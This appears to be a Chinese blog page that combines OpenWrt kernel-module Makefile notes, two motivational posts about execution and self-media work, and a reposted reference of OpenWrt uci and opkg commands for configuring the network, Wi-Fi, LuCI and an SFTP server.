在内核模块定义中增加
SUBMENU表示子菜单位置,在$(INCLUDE)/kernel.mk对内核模块定义了CATEGORYkernel modules,所以内核模块在menuconfig中的主菜单为kernel modules,然后有下一级子菜单$(SUBMENU)。在子菜单下可以看到以kmod-$( PKG_NAME)项目。
DEFAULT表示直接编入内核或产生内核模块,y表示直接编入内核,m表示产生内核模块。
AUTOLOAD表示自动装入内核,一般表示方法为:

AUTOLOAD:=$(call AutoLoad, $(PRIORITY),$(AUTOLOAD_MODS))

AutoLoad的第一个参数$(PRIORITY)为优先级,01为最优先,99为最后装载。有关自动装载可以在/etc/modules.d目录下看到,第二个参数$(AUTOLOAD_MODS)模块名,每个模块名以空格符分隔。即可同时装载多个内核模块。
在开发过程最好不要使用自动装载,經過嚴格調試後再使用,可以減輕調試的工作量。
4、使用定义
完成前面定义后,必须使用eval函数实现各种定义。其格式为:
对于一般软件包
$(eval $(call Package,$(PKG_NAME)))
或对于内核模块
$(eval $(call KernelPackage,$(PKG_NAME)))
       如果一個軟件包有多個程序,例如:一個應用程序有自己的內核模塊,上面使用的PKG_NAME需要靈活變通。eval函數可能設計多個。也可以當成多個軟件包處理。

世界上最不缺的是想法 最不值钱的也是它

mikel阅读(976)

你能想,别人一样能想,可是别人想到了能执行下去,你执行了吗?

我就是个“思想家”,想法太多,精力分散,结果哪个想法都没落地就跟烟火一样半路夭折了!

最近研究的东西,就是以前早就有的一个想法,当时看到了觉得很好,然后就停留在想象的阶段,没有下文了。

这几天终于要深入的研究发现想太多了没用,研究通了才发现看上去很美,用起来还有很多问题,值得深入挖掘,属于蓝海产品,可做的文章还很多,市场价值有待挖掘,于是又生出来很多想法,需要一一实现,就好比写玄幻小说,一天一更一样,想法总会随着你的研究深入不断的冒出来,结果跟着了魔似的让你停不下来,不断的研究,不断的想,不断的实验,很疯狂的一个死循环!

有时候要控制自己不想,只专注一点,一个想法执行下去,然后做到极致才是最好的!

昨天写的《靠别人不如靠自己》结合今天的算是完整了,更深刻,一个是说方法,一个说思维,太多懒人了,我就是一个,谁都愿意光想不做,那多轻松纸上谈兵,指点江山。

 世界上最不缺的是想法 最不值钱的也是它

做自媒体必备的4种心态

mikel阅读(1064)

现在圈子里一说到自媒体,大家第一反应就是写日志,写文章,转发文章,发微信,发头条

晚上参与了通王网校(http://www.tongwang.net/index.php?uid=1844)的培训,感觉收货很大,

1.不走寻常路:

大家都在写日志植入链接的时候,你也去写日志然后发文章,效果可想而知,除非你的文章干货够干,每个人能力都有限,你写10天估计干货都写完了。

那怎么办?

文字只是传播的一种形式,既然大家都写日志比拼文字功底,那你就录制视频,比拼干货的上手操作容易一目了然,让你的观众按照操作看一遍就会上手操作;

视频不行,那就直接开YY直接语音辅导,放干货。

2.酒香也怕巷子深:

过去我写日志完全是自娱自乐,觉得没啥价值,自己写着玩儿,很多技巧是觉得不值一提的小玩意儿,写出来完全是不想时间长了,自己都忘了,也算是一种经验总结,现在觉得自己的想法不对,很多东西对于不知道的人很有价值,就应该大声的嚷出来,让全世界都知道,至少转发到30个平台,才能发挥它的价值。

3.坚持,还是坚持:

每天坚持完成3件事,雷打不动,给自己定一个计划,每天坚持完成3件事!别的不多说,执行!

4.执行力:

没有执行力,以上3种都是扯淡,自然也不会有结果,想千遍,不如做1次!干,才是硬道理!

暂时总结了这么多,大家共勉,喜欢的就转发,引用最近比较时髦的一句话:

梦想还是要有的,万一实现了呢!

[转载]OpenWrt常用命令 - initphp的代码世界,专注PHP,Java!脚踏实地,一步一个脚印 - 博客频道 - CSDN.NET

mikel阅读(935)

[转载]OpenWrt常用命令 – initphp的代码世界,专注PHP,Java!脚踏实地,一步一个脚印 – 博客频道 – CSDN.NET.

uci set network.lan.ipaddr=[lan ip]

 

 

使用pppoe设置

 

Shell代码

 

uci set network.wan.proto=pppoe    //设置wan口类型为pppoe

 

uci set network.wan.username=[上网帐户]

 

uci set network.wan.password=[上网密码]    //这两行设置pppoe用户名和密码

 

 

如果要挂在上级路由下面,就需要进行下面的设置

 

Shell代码

 

uci set network.wan.proto=none    //关掉wan

 

uci set network.lan.gateway=[上级路由ip]    //网关指向上级路由

 

uci set network.lan.dns=[上级路由ip]    //dns指向上级路由

 

uci set dhcp.lan.ignore=1    //关掉lan的dhcp

 

 

最后对无线网络进行配置

 

Shell代码

 

uci set wireless.@wifi-device[0].disabled=0    //打开无线

 

uci set wireless.@wifi-device[0].txpower=17    //设置功率为17dbm 太高会烧无线模块

 

uci set wireless.@wifi-device[0].channel=6    //设置无线信道为6

 

uci set wireless.@wifi-iface[0].mode=ap    //设置无线模式为ap

 

uci set wireless.@wifi-iface[0].ssid=[自己设置SSID]    //设置无线SSID

 

uci set wireless.@wifi-iface[0].network=lan    //无线链接到lan上

 

uci set wireless.@wifi-iface[0].encryption=psk2    //设置加密WPA2-PSK

 

uci set wireless.@wifi-iface[0].key=[密码]    //设置无线密码

 

 

提交应用配置

 

Shell代码

 

uci commit    //应用

 

/etc/init.d/network restart    //重启网络服务

 

 

 

安装luci管理界面

 

Shell代码

 

opkg update // 更新软件列表

 

opkg list-installed // 查看已安装软件

 

opkg install luci // 安装LUCI

 

opkg install luci-i18n-chinese // 支持中文

luci-app-firewall – 0.10.0-1
luci-i18n-english – 0.10.0-1
luci-lib-core – 0.10.0-1
luci-lib-ipkg – 0.10.0-1
luci-lib-lmo – 0.10.0-1
luci-lib-nixio – 0.10.0-1
luci-lib-sys – 0.10.0-1
luci-lib-web – 0.10.0-1
luci-mod-admin-core – 0.10.0-1
luci-mod-admin-full – 0.10.0-1
luci-proto-core – 0.10.0-1
luci-proto-ppp – 0.10.0-1
luci-sgi-cgi – 0.10.0-1
luci-theme-base – 0.10.0-1
luci-theme-openwrt – 0.10.0-1

 

 

即可完成LUCI的安装。

 

输入以下命令开启支持web服务的uhttpd,并设置其为自启动:

 

Shell代码

 

/etc/init.d/uhttpd enable # 开机自启动

/etc/init.d/uhttpd start # 启动uhttpd

– Wifidog
你可以尝试执行以下命令安装Wifidog:
  opkg update # Optional
opkg install wifidog

–sftp安装
opkg update
opkg install vsftpd openssh-sftp-server
/etc/init.d/vsftpd enable
/etc/init.d/vsftpd start